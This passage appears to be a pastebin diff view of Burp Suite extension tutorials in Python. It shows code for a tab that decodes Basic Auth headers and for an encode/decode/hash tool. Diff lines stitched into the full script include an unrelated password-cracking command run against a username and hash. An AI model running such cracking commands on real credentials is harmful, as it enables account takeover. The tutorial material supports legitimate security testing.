from burp import IMessageEditorTab           # Used to create custom tabs within the Burp HTTP message editors
3227
from burp import IMessageEditorTabFactory    # Provides rendering or editing of HTTP messages, within within the created tab
3228
import base64                                # Required to decode Base64 encoded header value
3229
from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
3230
import sys                                   # Used to write exceptions for exceptions_fix.py debugging
3231
 
3232
 
3233
class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
3234
    ''' Implements IBurpExtender for hook into burp and inherit base classes.
3235
     Implement IMessageEditorTabFactory to access createNewInstance.
3236
    '''
3237
    def registerExtenderCallbacks(self, callbacks):
3238
 
3239
        # required for debugger: https://github.com/securityMB/burp-exceptions
3240
        sys.stdout = callbacks.getStdout()
3241
 
3242
        # keep a reference to our callbacks object
3243
        self._callbacks = callbacks
3244
 
3245
        # obtain an extension helpers object
3246
        # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
3247
        self._helpers = callbacks.getHelpers()
3248
 
3249
        # set our extension name
3250
        callbacks.setExtensionName("Decode Basic Auth")
3251
 
3252
        # register ourselves as a message editor tab factory
3253
        callbacks.registerMessageEditorTabFactory(self)
3254
 
3255
        return
3256
       
3257
    def createNewInstance(self, controller, editable):
3258
        ''' Allows us to create a tab in the http tabs. Returns
3259
        an instance of a class that implements the iMessageEditorTab class
3260
        '''
3261
        return DisplayValues(self, controller, editable)
3262
 
3263
FixBurpExceptions()
3264
---------------------------------------------------------------------------------------------------------------------------------------------------------------
3265
 
3266
- Create a message tab and access the HTTP headers
3267
 
3268
The DisplayValues class uses Burp’s IMessageEditorTab to create the custom tab, and ultimately controls the logic for whether the tab gets displayed and its message. This class requires several methods to be implemented for it to work. Here is the code that will create a tab and display all of the request headers:
3269
 
3270
---------------------------------------------------------------------------------------------------------------------------------------------------------------
3271
class DisplayValues(IMessageEditorTab):
3272
    ''' Creates a message tab, and controls the logic of which portion
3273
    of the HTTP message is processed.
3274
    '''
3275
    def __init__(self, extender, controller, editable):
3276
        ''' Extender is a instance of IBurpExtender class.
3277
        Controller is a instance of the IMessageController class.
3278
        Editable is boolean value which determines if the text editor is editable.
3279
        '''
3280
        self._txtInput = extender._callbacks.createTextEditor()
3281
        self._extender = extender
3282
 
3283
    def getUiComponent(self):
3284
        ''' Must be invoked before the editor displays the new HTTP message,
3285
        so that the custom tab can indicate whether it should be enabled for
3286
        that message.
3287
        '''
3288
        return self._txtInput.getComponent()
3289
   
3290
    def getTabCaption(self):
3291
        ''' Returns the name of the custom tab
3292
        '''
3293
        return "Decoded Authorization Header"
3294
       
3295
    def isEnabled(self, content, isRequest):
3296
        ''' Determines whether a tab shows up on an HTTP message
3297
        '''
3298
        if isRequest == True:
3299
            requestInfo = self._extender._helpers.analyzeRequest(content)
3300
            headers = requestInfo.getHeaders();
3301
            headers = [header for header in headers]
3302
            self._headers = '\n'.join(headers)
3303
        return isRequest and self._headers
3304
       
3305
    def setMessage(self, content, isRequest):
3306
        ''' Shows the message in the tab if not none
3307
        '''
3308
        if (content is None):
3309
            self._txtInput.setText(None)
3310
            self._txtInput.setEditable(False)
3311
        else:
3312
            self._txtInput.setText(self._headers)
3313
        return
3314
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
3315
If you are following along, paste this code after the BurpExtender class you just created, but be sure to make the FixBurpExceptions() the last line of the script. The comments explain the methods, so I’m only going to focus on the isEnabled and setMessage methods. For more info on this class, you can look at the IMessageEditorTab in the Burp Extender API.
3316
 
3317
The isEnabled method accepts message contents and the isRequest parameter (which determines whether the message is a request or a response). If the message is a request, the extender helpers extract the request headers, which for the example purposes I assign to the headers variable via a list comprehension and then assign to self._headers as a string (this needs to be a string). I then return the isRequest and self._headers. In the setMessage method, the content will be received and displayed in a new tab. If you reload this extension and make a request, you should now have a new message tab that is displaying the request headers from the requests you make.
3318
 
3319
Process the headers and populate the message tab
3320
 
3321
Now that we have access to the headers, you can go ahead and process the headers as you see fit. In this example, we will look for the Authorization: Basic header, and decode it if it is present. We need to make a few changes to the isEnabled and setMessage methods.
3322
 
3323
--------------------------------------------------------------------------------------------------------------------------------------
3324
isEnabled:
3325
 
3326
 
3327
    def isEnabled(self, content, isRequest):
3328
        ''' Determines whether a tab shows up on an HTTP message
3329
        '''
3330
        if isRequest == True:
3331
            requestInfo = self._extender._helpers.analyzeRequest(content)
3332
            headers = requestInfo.getHeaders();
3333
            authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
3334
            if authorizationHeader:
3335
                encHeaderValue = authorizationHeader[0].split()[-1]
3336
                try:
3337
                    self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
3338
                except Exception as e:
3339
                    print e
3340
                    self._decodedAuthorizationHeader = ""
3341
            else:
3342
                 self._decodedAuthorizationHeader = ""
3343
        return isRequest and self._decodedAuthorizationHeader
3344
 
3345
----------------------------------------------------------------------------------------------------------------------------------------
3346
The changes we are making looks for the header and decodes it. Otherwise it returns an empty string.
3347
 
3348
----------------------------------------------------------------------------------------------------------------------------------------
3349
setMessage:
3350
 
3351
 
3352
    def setMessage(self, content, isRequest):
3353
        ''' Shows the message in the tab if not none
3354
        '''
3355
        if (content is None):
3356
            self._txtInput.setText(None)
3357
            self._txtInput.setEditable(False)
3358
        else:
3359
            self._txtInput.setText(self._decodedAuthorizationHeader)
3360
        return
3361
-----------------------------------------------------------------------------------------------------------------------------------------
3362
 
3363
The only change made here is displaying the decoded authorization header (self._txtInput.setText(self._decodedAuthorizationHeader)).
3364
 
3365
- Test run
3366
 
3367
Once you reload the extension, you should have a functional extension which will display a new HTTP message tab if you visit a site requiring Basic Authentication. To test it out, header over to https://httpbin.org/basic-auth/user/passwd and enter in some fake credentials:
3368
 
3369
----------------
3370
user: test
3371
pass: test
3372
----------------
3373
 
3374
and in Burp request you will see under decoded authorization header  test:test
3375
 
3376
Conclusion
3377
 
3378
Hopefully this walkthrough was a helpful introduction to writing Burp extensions. Below is the full script. If you don’t understand how it works, I urge you to play around with it, putting in print statements in various places so you can experiment. You print statements will appear in the output subtab within the extender tab.
3379
 
3380
Full script:
3381
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
3382
 
3383
# Decode the value of Authorization: Basic header
3384
# Author: Jake Miller (@LaconicWolf)
3385
 
3386
from burp import IBurpExtender               # Required for all extensions
3387
from burp import IMessageEditorTab           # Used to create custom tabs within the Burp HTTP message editors
3388
from burp import IMessageEditorTabFactory    # Provides rendering or editing of HTTP messages, within within the created tab
3389
import base64                                # Required to decode Base64 encoded header value
3390
from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
3391
import sys                                   # Used to write exceptions for exceptions_fix.py debugging
3392
 
3393
 
3394
class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
3395
    ''' Implements IBurpExtender for hook into burp and inherit base classes.
3396
     Implement IMessageEditorTabFactory to access createNewInstance.
3397
    '''
3398
    def registerExtenderCallbacks(self, callbacks):
3399
 
3400
        # required for debugger: https://github.com/securityMB/burp-exceptions
3401
        sys.stdout = callbacks.getStdout()
3402
 
3403
        # keep a reference to our callbacks object
3404
        self._callbacks = callbacks
3405
 
3406
        # obtain an extension helpers object
3407
        # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
3408
        self._helpers = callbacks.getHelpers()
3409
 
3410
        # set our extension name
3411
        callbacks.setExtensionName("Decode Basic Auth")
3412
 
3413
        # register ourselves as a message editor tab factory
3414
        callbacks.registerMessageEditorTabFactory(self)
3415
 
3416
        return
3417
       
3418
    def createNewInstance(self, controller, editable):
3419
        ''' Allows us to create a tab in the http tabs. Returns
3420
        an instance of a class that implements the iMessageEditorTab class
3421
        '''
3422
        return DisplayValues(self, controller, editable)
3423
 
3424
FixBurpExceptions()
3425
 
3426
 
3427
class DisplayValues(IMessageEditorTab):
3428
    ''' Creates a message tab, and controls the logic of which portion
3429
    of the HTTP message is processed.
3430
    '''
3431
    def __init__(self, extender, controller, editable):
3432
        ''' Extender is a instance of IBurpExtender class.
3433
        Controller is a instance of the IMessageController class.
3434
        Editable is boolean value which determines if the text editor is editable.
3435
        '''
3436
        self._txtInput = extender._callbacks.createTextEditor()
3437
        self._extender = extender
3438
 
3439
    def getUiComponent(self):
3440
        ''' Must be invoked before the editor displays the new HTTP message,
3441
        so that the custom tab can indicate whether it should be enabled for
3442
        that message.
3443
        '''
3444
        return self._txtInput.getComponent()
3445
   
3446
    def getTabCaption(self):
3447
        ''' Returns the name of the custom tab
3448
        '''
3449
        return "Decoded Authorization Header"
3450
       
3451
    def isEnabled(self, content, isRequest):
3452
        ''' Determines whether a tab shows up on an HTTP message
3453
        '''
3454
        if isRequest == True:
3455
            requestInfo = self._extender._helpers.analyzeRequest(content)
3456
            headers = requestInfo.getHeaders();
3457
            authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
3458
            if authorizationHeader:
3459
                encHeaderValue = authorizationHeader[0].split()[-1]
3460
                try:
3461-
python htcrack.py joe:7XsJIbCFzqg/o list.txt
3461+
                    self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
3462
                except Exception as e:
3463
                    print e
3464
                    self._decodedAuthorizationHeader = ""
3465
            else:
3466
                 self._decodedAuthorizationHeader = ""
3467
        return isRequest and self._decodedAuthorizationHeader
3468-
rm -rf mechanize-0.2.5.tar.gz
3468+
3469
    def setMessage(self, content, isRequest):
3470
        ''' Shows the message in the tab if not none
3471
        '''
3472
        if (content is None):
3473
            self._txtInput.setText(None)
3474
            self._txtInput.setEditable(False)
3475
        else:
3476
            self._txtInput.setText(self._decodedAuthorizationHeader)
3477
        return
3478
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3479
 
3480
 
3481
#######################################################
3482
# Burp Extension Python Tutorial – Encode/Decode/Hash #
3483
#######################################################
3484
 
3485
 
3486
Setup
3487
 
3488
    Create a folder where you’ll store your extensions – I named mine extensions
3489
    Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
3490
    Download exceptions_fix.py *https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
3491
    Configure Burp to use Jython – Extender > Options > Python Environment > Select file
3492
    Create a new file (encodeDecodeHash.py) in your favorite text editor (save it in your extensions folder)
3493
 
3494
 
3495
- Importing required modules and accessing the Extender API, and implementing the debugger
3496
 
3497
Let’s write some code:
3498
 
3499
--------------------------------------------------------
3500
from burp import IBurpExtender, ITab
3501
from javax import swing
3502
from java.awt import BorderLayout
3503
import sys
3504
try:
3505
    from exceptions_fix import FixBurpExceptions
3506
except ImportError:
3507
    pass
3508
--------------------------------------------------------
3509
 
3510
 
3511
The IBurpExtender module is required for all extensions, while ITab will register the tab in Burp and send Burp the UI that we will define. The swing library is what is used to build GUI applications with Jython, and we’ll be using layout management, specifically BorderLayout from the java.awt library. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine. I’ll be adding more imports when we start writing encoding method, but this is enough for now.
3512
 
3513
This next code snippet will register our extension and create a new tab that will contain the UI. If you’re following along type or paste this code after the imports:
3514
 
3515
-----------------------------------------------------------------------------------------------------------------
3516
class BurpExtender(IBurpExtender, ITab):
3517
    def registerExtenderCallbacks(self, callbacks):
3518
       
3519
        # Required for easier debugging:
3520
        # https://github.com/securityMB/burp-exceptions
3521
        sys.stdout = callbacks.getStdout()
3522
 
3523
        # Keep a reference to our callbacks object
3524
        self.callbacks = callbacks
3525
 
3526
        # Set our extension name
3527
        self.callbacks.setExtensionName("Encode/Decode/Hash")
3528
       
3529
        # Create the tab
3530
        self.tab = swing.JPanel(BorderLayout())
3531
 
3532
        # Add the custom tab to Burp's UI
3533
        callbacks.addSuiteTab(self)
3534
        return
3535
 
3536
    # Implement ITab
3537
    def getTabCaption(self):
3538
        """Return the text to be displayed on the tab"""
3539
        return "Encode/Decode/Hash"
3540
   
3541
    def getUiComponent(self):
3542
        """Passes the UI to burp"""
3543
        return self.tab
3544
 
3545
try:
3546
    FixBurpExceptions()
3547
except:
3548
    pass
3549
------------------------------------------------------------------------------------------------
3550
 
3551
This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to create the tab in Burp. ITab requires two methods, getTabCaption and getUiComponent, where getTabCaption returns the name of the tab, and getUiComponent returns the UI itself (self.tab), which is created in the line self.tab=swing.JPanel(). FixBurpExceptions is called at the end of the script just in case we have an error.
3552
 
3553
 
3554
Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > encodeDecodeHash.py
3555
 
3556
The extension should load and you should have a new tab: Encode/Decode/Hash
3557
 
3558
This tab doesn’t have any features yet, so let’s build the skeleton of the UI
3559
 
3560
 
3561
Onto the code:
3562
 
3563
----------------------------------------------------------------------------------------------
3564
class BurpExtender(IBurpExtender, ITab):
3565
    ...
3566
        self.tab = swing.Jpanel(BorderLayout())
3567
 
3568
        # Create the text area at the top of the tab
3569
        textPanel = swing.JPanel()
3570
       
3571
        # Create the label for the text area
3572
        boxVertical = swing.Box.createVerticalBox()
3573
        boxHorizontal = swing.Box.createHorizontalBox()
3574
        textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
3575
        boxHorizontal.add(textLabel)
3576
        boxVertical.add(boxHorizontal)
3577
 
3578
        # Create the text area itself
3579
        boxHorizontal = swing.Box.createHorizontalBox()
3580
        self.textArea = swing.JTextArea('', 6, 100)
3581
        self.textArea.setLineWrap(True)
3582
        boxHorizontal.add(self.textArea)
3583
        boxVertical.add(boxHorizontal)
3584
 
3585
        # Add the text label and area to the text panel
3586
        textPanel.add(boxVertical)
3587
 
3588
        # Add the text panel to the top of the main tab
3589
        self.tab.add(textPanel, BorderLayout.NORTH)
3590
 
3591
        # Add the custom tab to Burp's UI
3592
        callbacks.addSuiteTab(self)
3593
        return
3594
...
3595
-----------------------------------------------------------------------------------------
3596
 
3597
A bit of explanation. The code (textPanel = swing.JPanel()) creates a new panel that will contain the text label and text area. Then, a box is created (boxVertical), that will be used to hold other boxes (boxHorizontal) that contain the text label and area. The horizontal boxes get added to the vertical box (boxVertical.add(boxHorizontal)), the vertical box is added to the panel we created (textPanel.add(boxVertical)), and that panel is added to the main tab panel at the top (BorderLayout.NORTH). Save the code, unload/reload the extension and this is what you should see: "Text to be encoded/decoded/hashed" field
3598
 
3599
 
3600
Now we’ll add the tabs:
3601
 
3602
-----------------------------------------------------------------------------------------
3603
        self.tab.add(textPanel, BorderLayout.NORTH)
3604
 
3605
        # Created a tabbed pane to go in the center of the
3606
        # main tab, below the text area
3607
        tabbedPane = swing.JTabbedPane()
3608
        self.tab.add("Center", tabbedPane);
3609
 
3610
        # First tab
3611
        firstTab = swing.JPanel()
3612
        firstTab.layout = BorderLayout()
3613
        tabbedPane.addTab("Encode", firstTab)
3614
 
3615
        # Second tab
3616
        secondTab = swing.JPanel()
3617
        secondTab.layout = BorderLayout()
3618
        tabbedPane.addTab("Decode", secondTab)
3619
 
3620
        # Third tab
3621
        thirdTab = swing.JPanel()
3622
        thirdTab.layout = BorderLayout()
3623
        tabbedPane.addTab("Hash", thirdTab)
3624
 
3625
        # Add the custom tab to Burp's UI
3626
        callbacks.addSuiteTab(self)
3627
        return
3628
...
3629
--------------------------------------------------------------------------------------------------
3630
After you add this code and save the file, you should have your tabs
3631
 
3632
 
3633
we’re only going to build out the Encode tab, but the steps will be the same for each tab.
3634
 
3635
---------------------------------------------------------------------------------------------------
3636
 
3637
        # First tab
3638
        firstTab = swing.JPanel()
3639
        firstTab.layout = BorderLayout()
3640
        tabbedPane.addTab("Encode", firstTab)
3641
 
3642
        # Button for first tab
3643
        buttonPanel = swing.JPanel()
3644
        buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
3645
        firstTab.add(buttonPanel, "North")
3646
 
3647
        # Panel for the encoders. Each label and text field
3648
        # will go in horizontal boxes which will then go in
3649
        # a vertical box
3650
        encPanel = swing.JPanel()
3651
        boxVertical = swing.Box.createVerticalBox()
3652
       
3653
        boxHorizontal = swing.Box.createHorizontalBox()
3654
        self.b64EncField = swing.JTextField('', 75)
3655
        boxHorizontal.add(swing.JLabel("  Base64   :"))
3656
        boxHorizontal.add(self.b64EncField)
3657
        boxVertical.add(boxHorizontal)
3658
 
3659
        boxHorizontal = swing.Box.createHorizontalBox()
3660
        self.urlEncField = swing.JTextField('', 75)
3661
        boxHorizontal.add(swing.JLabel("  URL         :"))
3662
        boxHorizontal.add(self.urlEncField)
3663
        boxVertical.add(boxHorizontal)
3664
 
3665
        boxHorizontal = swing.Box.createHorizontalBox()
3666
        self.asciiHexEncField = swing.JTextField('', 75)
3667
        boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
3668
        boxHorizontal.add(self.asciiHexEncField)
3669
        boxVertical.add(boxHorizontal)
3670
 
3671
        boxHorizontal = swing.Box.createHorizontalBox()
3672
        self.htmlEncField = swing.JTextField('', 75)
3673
        boxHorizontal.add(swing.JLabel("  HTML       :"))
3674
        boxHorizontal.add(self.htmlEncField)
3675
        boxVertical.add(boxHorizontal)
3676
 
3677
        boxHorizontal = swing.Box.createHorizontalBox()
3678
        self.jsEncField = swing.JTextField('', 75)
3679
        boxHorizontal.add(swing.JLabel("  JavaScript:"))
3680
        boxHorizontal.add(self.jsEncField)
3681
        boxVertical.add(boxHorizontal)
3682
 
3683
        # Add the vertical box to the Encode tab
3684
        firstTab.add(boxVertical, "Center")
3685
 
3686
        # Second tab
3687
        ...
3688
 
3689
        # Third tab
3690
        ...
3691
 
3692
        # Add the custom tab to Burp's UI
3693
        callbacks.addSuiteTab(self)
3694
        return
3695
 
3696
    # Implement the functions from the button clicks
3697
    def encode(self, event):
3698
        pass
3699
 
3700
    # Implement ITab
3701
    def getTabCaption(self):
3702
 
3703
-----------------------------------------------------------------------------------------
3704
 
3705
First we create a panel (buttonPanel) to hold our button, and then we add a button to the panel and specify the argument actionPerformed=self.encode, where self.encode is a method that will run when the button is clicked. We define encode at the end of the code snippet, and currently have it doing nothing. We’ll implement the encoders later. Now that our panel has a button, we add that to the first tab of the panel (firstTab.add(buttonPanel, “North”)). Next we create a separate panel for the encoder text labels and fields. Similar to before, we create a big box (boxVertical), and then create a horizontal box (boxHorizontal) for each pair of labels/textfields, which then get added to the big box. Finally that big box gets added to the tab. After saving the file and unloading/reloading, you shoud see big box added to the tab.
3706
 
3707
 
3708
The button might not seem to do anything, but it is actually executing the encode method we defined (which does nothing). Lets fix that method and have it encode the user input:
3709
 
3710
---------------------------------------------------------------------------------------------------------
3711
3712
try:
3713
    from exceptions_fix import FixBurpExceptions
3714
except ImportError:
3715
    pass
3716
import base64
3717
import urllib
3718
import binascii
3719
import cgi
3720
import json
3721
...
3722
 
3723
        # Add the custom tab to Burp's UI
3724
        callbacks.addSuiteTab(self)
3725
        return
3726
 
3727
    # Implement the functions from the button clicks
3728
    def encode(self, event):
3729
        """Encodes the user input and writes the encoded
3730
        value to text fields.
3731
        """
3732
        self.b64EncField.text = base64.b64encode(self.textArea.text)
3733
        self.urlEncField.text = urllib.quote(self.textArea.text)
3734
        self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
3735
        self.htmlEncField.text = cgi.escape(self.textArea.text)
3736
        self.jsEncField.text = json.dumps(self.textArea.text)
3737
 
3738
    # Implement ITab
3739
    def getTabCaption(self):
3740
3741
 
3742
----------------------------------------------------------------------------------------------------------
3743
 
3744
The encode method sets the text on the encode fields we created by encoding whatever the user types in the top text area (self.textArea.text). Once you save and unload/reload the file you should have full encoding functionality.
3745
 
3746
Full code:
3747
 
3748
----------------------------------------------------------------------------------------------------------
3749
 
3750
__author__ = 'Jake Miller (@LaconicWolf)'
3751
__date__ = '20190206'
3752
__version__ = '0.01'
3753
__description__ = """Burp Extension that encodes, decodes,
3754
                  and hashes user input. Inspired by a
3755
                  similar tool in OWASP's ZAP.
3756
                  """
3757
 
3758
from burp import IBurpExtender, ITab
3759
from javax import swing
3760
from java.awt import BorderLayout
3761
import sys
3762
import base64
3763
import urllib
3764
import binascii
3765
import cgi
3766
import json
3767
import re
3768
import hashlib
3769
from HTMLParser import HTMLParser
3770
 
3771
try:
3772
    from exceptions_fix import FixBurpExceptions
3773
except ImportError:
3774
    pass
3775
 
3776
class BurpExtender(IBurpExtender, ITab):
3777
    def registerExtenderCallbacks(self, callbacks):
3778
   
3779
        # Required for easier debugging:
3780
        # https://github.com/securityMB/burp-exceptions
3781
        sys.stdout = callbacks.getStdout()
3782
 
3783
        # Keep a reference to our callbacks object
3784
        self.callbacks = callbacks
3785
 
3786
        # Set our extension name
3787
        self.callbacks.setExtensionName("Encode/Decode/Hash")
3788
       
3789
        # Create the tab
3790
        self.tab = swing.JPanel(BorderLayout())
3791
 
3792
        # Create the text area at the top of the tab
3793
        textPanel = swing.JPanel()
3794
       
3795
        # Create the label for the text area
3796
        boxVertical = swing.Box.createVerticalBox()
3797
        boxHorizontal = swing.Box.createHorizontalBox()
3798
        textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
3799
        boxHorizontal.add(textLabel)
3800
        boxVertical.add(boxHorizontal)
3801
 
3802
        # Create the text area itself
3803
        boxHorizontal = swing.Box.createHorizontalBox()
3804
        self.textArea = swing.JTextArea('', 6, 100)
3805
        self.textArea.setLineWrap(True)
3806
        boxHorizontal.add(self.textArea)
3807
        boxVertical.add(boxHorizontal)
3808
 
3809
        # Add the text label and area to the text panel
3810
        textPanel.add(boxVertical)
3811
 
3812
        # Add the text panel to the top of the main tab
3813
        self.tab.add(textPanel, BorderLayout.NORTH)
3814
 
3815
        # Created a tabbed pane to go in the center of the
3816
        # main tab, below the text area
3817
        tabbedPane = swing.JTabbedPane()
3818
        self.tab.add("Center", tabbedPane);
3819
 
3820
        # First tab
3821
        firstTab = swing.JPanel()
3822
        firstTab.layout = BorderLayout()
3823
        tabbedPane.addTab("Encode", firstTab)
3824
 
3825
        # Button for first tab
3826
        buttonPanel = swing.JPanel()
3827
        buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
3828
        firstTab.add(buttonPanel, "North")
3829
 
3830
        # Panel for the encoders. Each label and text field
3831
        # will go in horizontal boxes which will then go in
3832
        # a vertical box
3833
        encPanel = swing.JPanel()
3834
        boxVertical = swing.Box.createVerticalBox()
3835
       
3836
        boxHorizontal = swing.Box.createHorizontalBox()
3837
        self.b64EncField = swing.JTextField('', 75)
3838
        boxHorizontal.add(swing.JLabel("  Base64   :"))
3839
        boxHorizontal.add(self.b64EncField)
3840
        boxVertical.add(boxHorizontal)
3841
 
3842
        boxHorizontal = swing.Box.createHorizontalBox()
3843
        self.urlEncField = swing.JTextField('', 75)
3844
        boxHorizontal.add(swing.JLabel("  URL         :"))
3845
        boxHorizontal.add(self.urlEncField)
3846
        boxVertical.add(boxHorizontal)
3847
 
3848
        boxHorizontal = swing.Box.createHorizontalBox()
3849
        self.asciiHexEncField = swing.JTextField('', 75)
3850
        boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
3851
        boxHorizontal.add(self.asciiHexEncField)
3852
        boxVertical.add(boxHorizontal)
3853
 
3854
        boxHorizontal = swing.Box.createHorizontalBox()
3855
        self.htmlEncField = swing.JTextField('', 75)
3856
        boxHorizontal.add(swing.JLabel("  HTML       :"))
3857
        boxHorizontal.add(self.htmlEncField)
3858
        boxVertical.add(boxHorizontal)
3859
 
3860
        boxHorizontal = swing.Box.createHorizontalBox()
3861
        self.jsEncField = swing.JTextField('', 75)
3862
        boxHorizontal.add(swing.JLabel("  JavaScript:"))
3863
        boxHorizontal.add(self.jsEncField)
3864
        boxVertical.add(boxHorizontal)
3865
 
3866
        # Add the vertical box to the Encode tab
3867
        firstTab.add(boxVertical, "Center")
3868
 
3869
        # Repeat the same process for the remaining tabs
3870
        secondTab = swing.JPanel()
3871
        secondTab.layout = BorderLayout()
3872
        tabbedPane.addTab("Decode", secondTab)
3873
 
3874
        buttonPanel = swing.JPanel()
3875
        buttonPanel.add(swing.JButton('Decode', actionPerformed=self.decode))
3876
        secondTab.add(buttonPanel, "North")
3877
 
3878
        decPanel = swing.JPanel()
3879
        boxVertical = swing.Box.createVerticalBox()
3880
       
3881
        boxHorizontal = swing.Box.createHorizontalBox()
3882
        self.b64DecField = swing.JTextField('', 75)
3883
        boxHorizontal.add(swing.JLabel("  Base64   :"))
3884
        boxHorizontal.add(self.b64DecField)
3885
        boxVertical.add(boxHorizontal)
3886
 
3887
        boxHorizontal = swing.Box.createHorizontalBox()
3888
        self.urlDecField = swing.JTextField('', 75)
3889
        boxHorizontal.add(swing.JLabel("  URL         :"))
3890
        boxHorizontal.add(self.urlDecField)
3891
        boxVertical.add(boxHorizontal)
3892
 
3893
        boxHorizontal = swing.Box.createHorizontalBox()
3894
        self.asciiHexDecField = swing.JTextField('', 75)
3895
        boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
3896
        boxHorizontal.add(self.asciiHexDecField)
3897
        boxVertical.add(boxHorizontal)
3898
 
3899
        boxHorizontal = swing.Box.createHorizontalBox()
3900
        self.htmlDecField = swing.JTextField('', 75)
3901
        boxHorizontal.add(swing.JLabel("  HTML       :"))
3902
        boxHorizontal.add(self.htmlDecField)
3903
        boxVertical.add(boxHorizontal)
3904
 
3905
        boxHorizontal = swing.Box.createHorizontalBox()
3906
        self.jsDecField = swing.JTextField('', 75)
3907
        boxHorizontal.add(swing.JLabel("  JavaScript:"))
3908
        boxHorizontal.add(self.jsDecField)
3909
        boxVertical.add(boxHorizontal)
3910
 
3911
        secondTab.add(boxVertical, "Center")
3912
 
3913
        thirdTab = swing.JPanel()
3914
        thirdTab.layout = BorderLayout()
3915
        tabbedPane.addTab("Hash", thirdTab)
3916
 
3917
        buttonPanel = swing.JPanel()
3918
        buttonPanel.add(swing.JButton('Hash', actionPerformed=self.generateHashes))
3919
        thirdTab.add(buttonPanel, "North")
3920
 
3921
        decPanel = swing.JPanel()
3922
        boxVertical = swing.Box.createVerticalBox()
3923
       
3924
        boxHorizontal = swing.Box.createHorizontalBox()
3925
        self.md5Field = swing.JTextField('', 75)
3926
        boxHorizontal.add(swing.JLabel("  MD5        :"))
3927
        boxHorizontal.add(self.md5Field)
3928
        boxVertical.add(boxHorizontal)
3929
 
3930
        boxHorizontal = swing.Box.createHorizontalBox()
3931
        self.sha1Field = swing.JTextField('', 75)
3932
        boxHorizontal.add(swing.JLabel("  SHA-1     :"))
3933
        boxHorizontal.add(self.sha1Field)
3934
        boxVertical.add(boxHorizontal)
3935
 
3936
        boxHorizontal = swing.Box.createHorizontalBox()
3937
        self.sha256Field = swing.JTextField('', 75)
3938
        boxHorizontal.add(swing.JLabel("  SHA-256 :"))
3939
        boxHorizontal.add(self.sha256Field)
3940
        boxVertical.add(boxHorizontal)
3941
 
3942
        boxHorizontal = swing.Box.createHorizontalBox()
3943
        self.sha512Field = swing.JTextField('', 75)
3944
        boxHorizontal.add(swing.JLabel("  SHA-512 :"))
3945
        boxHorizontal.add(self.sha512Field)
3946
        boxVertical.add(boxHorizontal)
3947
 
3948
        boxHorizontal = swing.Box.createHorizontalBox()
3949
        self.ntlmField = swing.JTextField('', 75)
3950
        boxHorizontal.add(swing.JLabel("  NTLM       :"))
3951
        boxHorizontal.add(self.ntlmField)
3952
        boxVertical.add(boxHorizontal)
3953
 
3954
        thirdTab.add(boxVertical, "Center")
3955
 
3956
        # Add the custom tab to Burp's UI
3957
        callbacks.addSuiteTab(self)
3958
        return
3959
 
3960
    # Implement ITab
3961
    def getTabCaption(self):
3962
        """Return the text to be displayed on the tab"""
3963
        return "Encode/Decode/Hash"
3964
   
3965
    def getUiComponent(self):
3966
        """Passes the UI to burp"""
3967
        return self.tab
3968
 
3969
    # Implement the functions from the button clicks
3970
    def encode(self, event):
3971
        """Encodes the user input and writes the encoded
3972
        value to text fields.
3973
        """
3974
        self.b64EncField.text = base64.b64encode(self.textArea.text)
3975
        self.urlEncField.text = urllib.quote(self.textArea.text)
3976
        self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
3977
        self.htmlEncField.text = cgi.escape(self.textArea.text)
3978
        self.jsEncField.text = json.dumps(self.textArea.text)
3979
 
3980
    def decode(self, event):
3981
        """Decodes the user input and writes the decoded
3982
        value to text fields."""
3983
        try:
3984
            self.b64DecField.text = base64.b64decode(self.textArea.text)
3985
        except TypeError:
3986
            pass
3987
        self.urlDecField.text = urllib.unquote(self.textArea.text)
3988
        try:
3989
            self.asciiHexDecField.text = binascii.unhexlify(self.textArea.text)
3990
        except TypeError:
3991
            pass
3992
        parser = HTMLParser()
3993
        self.htmlDecField.text = parser.unescape(self.textArea.text)
3994
        self.jsDecField.text = re.sub(r'%u([a-fA-F0-9]{4}|[a-fA-F0-9]{2})', lambda m: chr(int(m.group(1), 16)), self.textArea.text)
3995
 
3996
    def generateHashes(self, event):
3997
        """Hashes the user input and writes the hashed
3998
        value to text fields.
3999
        """
4000
        self.md5Field.text = hashlib.md5(self.textArea.text).hexdigest()
4001
        self.sha1Field.text = hashlib.sha1(self.textArea.text).hexdigest()
4002
        self.sha256Field.text = hashlib.sha256(self.textArea.text).hexdigest()
4003
        self.sha512Field.text = hashlib.sha512(self.textArea.text).hexdigest()
4004
        self.ntlmField.text = binascii.hexlify(hashlib.new('md4', self.textArea.text.encode('utf-16le')).digest())
4005
 
4006
try:
4007
    FixBurpExceptions()
4008
except:
4009
    pass
4010
--------------------------------------------------------------------------------------------------------------------------------------------------------
4011
 
4012
 
4013
 
4014
########################################################################
4015
# Burp Extension Python Tutorial – Generate a Forced Browsing Wordlist #
4016
########################################################################
4017
 
4018
 
4019
Setup
4020
 
4021
